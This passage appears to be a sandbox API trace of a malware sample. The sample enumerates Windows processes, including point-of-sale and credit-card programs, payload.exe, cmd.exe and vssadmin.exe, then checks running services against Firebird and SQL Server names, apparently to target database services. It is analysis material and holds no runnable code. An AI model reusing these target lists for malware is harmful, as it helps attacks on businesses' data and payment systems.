[0077.433] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0077.434] lstrlenW (lpString="totalcmd.exe") returned 12 [0077.435] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0077.436] lstrlenW (lpString="trillian.exe") returned 12 [0077.436] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0077.437] lstrlenW (lpString="webdrive.exe") returned 12 [0077.437] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0077.438] lstrlenW (lpString="whatsapp.exe") returned 12 [0077.438] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0077.439] lstrlenW (lpString="winscp.exe") returned 10 [0077.439] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0077.440] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0077.440] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0077.441] lstrlenW (lpString="active-charge.exe") returned 17 [0077.441] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0077.442] lstrlenW (lpString="accupos.exe") returned 11 [0077.442] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0077.443] lstrlenW (lpString="afr38.exe") returned 9 [0077.443] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0077.443] lstrlenW (lpString="aldelo.exe") returned 10 [0077.443] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0077.444] lstrlenW (lpString="ccv_server.exe") returned 14 [0077.444] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0077.445] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0077.445] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x968, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0077.446] lstrlenW (lpString="creditservice.exe") returned 17 [0077.446] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0077.447] lstrlenW (lpString="edcsvr.exe") returned 10 [0077.447] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0077.448] lstrlenW (lpString="fpos.exe") returned 8 [0077.448] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0077.449] lstrlenW (lpString="isspos.exe") returned 10 [0077.449] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0077.450] lstrlenW (lpString="mxslipstream.exe") returned 16 [0077.450] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0077.451] lstrlenW (lpString="omnipos.exe") returned 11 [0077.451] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0077.561] lstrlenW (lpString="spcwin.exe") returned 10 [0077.561] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0077.562] lstrlenW (lpString="spgagentservice.exe") returned 19 [0077.562] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0077.563] lstrlenW (lpString="utg2.exe") returned 8 [0077.563] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="slope.exe")) returned 1 [0077.564] lstrlenW (lpString="slope.exe") returned 9 [0077.564] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="entered.exe")) returned 1 [0077.564] lstrlenW (lpString="entered.exe") returned 11 [0077.565] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="demographicinfluences.exe")) returned 1 [0077.565] lstrlenW (lpString="demographicinfluences.exe") returned 25 [0077.565] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="attach.exe")) returned 1 [0077.566] lstrlenW (lpString="attach.exe") returned 10 [0077.566] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations.exe")) returned 1 [0077.567] lstrlenW (lpString="obligations.exe") returned 15 [0077.567] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0077.568] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0077.568] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0077.569] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0077.569] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0077.569] lstrlenW (lpString="taskhost.exe") returned 12 [0077.570] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0077.570] lstrlenW (lpString="payload.exe") returned 11 [0077.570] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0077.571] lstrlenW (lpString="cmd.exe") returned 7 [0077.571] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0077.572] lstrlenW (lpString="conhost.exe") returned 11 [0077.572] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x15c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0077.572] lstrlenW (lpString="vssadmin.exe") returned 12 [0077.573] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0077.573] lstrlenW (lpString="VSSVC.exe") returned 9 [0077.573] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.574] lstrlenW (lpString="svchost.exe") returned 11 [0077.574] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0077.575] CloseHandle (hObject=0x218) returned 1 [0077.575] Sleep (dwMilliseconds=0x1f4) [0078.131] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x626e88 [0078.131] EnumServicesStatusExW (in: hSCManager=0x626e88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0078.131] GetLastError () returned 0xea [0078.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x12c6) returned 0x3f81fa8 [0078.132] EnumServicesStatusExW (in: hSCManager=0x626e88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f81fa8, cbBufSize=0x12c6, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f81fa8, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0078.132] CloseServiceHandle (hSCObject=0x626e88) returned 1 [0078.132] lstrlenW (lpString="Appinfo") returned 7 [0078.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0078.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0078.133] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0078.133] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0078.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0078.133] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0078.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0078.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0078.133] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0078.133] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0078.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0078.133] lstrlenW (lpString="AudioSrv") returned 8 [0078.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0078.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0078.133] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0078.133] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0078.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0078.133] lstrlenW (lpString="BFE") returned 3 [0078.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0078.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0078.133] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0078.133] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0078.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0078.133] lstrlenW (lpString="CryptSvc") returned 8 [0078.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0078.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0078.133] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0078.133] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0078.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0078.133] lstrlenW (lpString="CscService") returned 10 [0078.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0078.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0078.133] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0078.133] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0078.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0078.133] lstrlenW (lpString="DcomLaunch") returned 10 [0078.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0078.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0078.134] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0078.134] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0078.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0078.134] lstrlenW (lpString="Dhcp") returned 4 [0078.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0078.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0078.134] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0078.134] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0078.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0078.134] lstrlenW (lpString="Dnscache") returned 8 [0078.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0078.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0078.134] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0078.134] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0078.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0078.134] lstrlenW (lpString="DPS") returned 3 [0078.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0078.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0078.134] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0078.134] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0078.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0078.134] lstrlenW (lpString="eventlog") returned 8 [0078.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0078.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0078.134] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0078.134] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0078.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0078.134] lstrlenW (lpString="EventSystem") returned 11 [0078.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0078.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0078.134] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0078.134] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0078.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0078.134] lstrlenW (lpString="gpsvc") returned 5 [0078.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0078.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0078.135] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0078.135] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0078.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0078.135] lstrlenW (lpString="iphlpsvc") returned 8 [0078.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0078.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0078.135] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0078.135] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0078.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0078.135] lstrlenW (lpString="LanmanServer") returned 12 [0078.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0078.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0078.135] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0078.135] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0078.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0078.135] lstrlenW (lpString="LanmanWorkstation") returned 17 [0078.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0078.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0078.135] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0078.135] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0078.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0078.135] lstrlenW (lpString="lmhosts") returned 7 [0078.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0078.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0078.135] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0078.135] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0078.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0078.135] lstrlenW (lpString="MMCSS") returned 5 [0078.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0078.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0078.135] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0078.135] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0078.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0078.136] lstrlenW (lpString="MpsSvc") returned 6 [0078.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0078.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0078.136] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0078.136] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0078.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0078.136] lstrlenW (lpString="Netman") returned 6 [0078.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0078.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0078.136] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0078.136] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0078.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0078.136] lstrlenW (lpString="netprofm") returned 8 [0078.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0078.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0078.136] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0078.136] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0078.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0078.136] lstrlenW (lpString="NlaSvc") returned 6 [0078.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0078.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0078.136] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0078.136] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0078.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0078.136] lstrlenW (lpString="nsi") returned 3 [0078.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0078.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0078.136] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0078.136] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0078.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0078.136] lstrlenW (lpString="PcaSvc") returned 6 [0078.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0078.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0078.136] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0078.136] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0078.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0078.137] lstrlenW (lpString="PlugPlay") returned 8 [0078.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0078.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0078.137] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0078.137] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0078.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0078.137] lstrlenW (lpString="Power") returned 5 [0078.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0078.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0078.137] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0078.137] 